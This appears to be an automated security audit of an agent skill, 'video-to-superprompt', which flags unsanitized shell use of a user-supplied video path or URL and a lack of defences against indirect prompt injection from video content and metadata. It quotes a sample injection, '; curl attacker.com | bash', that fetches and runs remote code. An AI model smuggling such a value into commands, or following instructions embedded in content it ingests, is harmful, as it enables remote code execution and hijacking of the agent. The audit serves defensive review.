video-to-superprompt
Warn
Audited by Gen Agent Trust Hub on Aug 25, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONPROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The workflow in
SKILL.md(Step 2) instructs the agent to run shell commands (ffprobeandffmpeg) using a user-provided variable$VIDEO. This variable is populated by local paths, uploaded files, or URLs. If the agent executes these shell commands literally without sanitizing the input, a maliciously crafted filename or URL could be used to perform command injection (e.g.,; curl attacker.com | bash). - [INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from external sources, including video files, metadata, and web content. It lacks specific safety instructions or boundary markers to prevent the agent from following malicious instructions potentially embedded within the video content or its source location.
- Ingestion points: User-provided video files, local paths, and external URLs defined in Workflow Step 1 of
SKILL.md. - Boundary markers: The skill does not use delimiters or instructions to ignore embedded commands within the processed data.
- Capability inventory: Access to system tools via shell execution (
ffprobe,ffmpeg) and the ability to generate new prompts based on the analyzed content. - Sanitization: There is no evidence of path validation, character escaping, or content filtering for the untrusted video sources.
Audit Metadata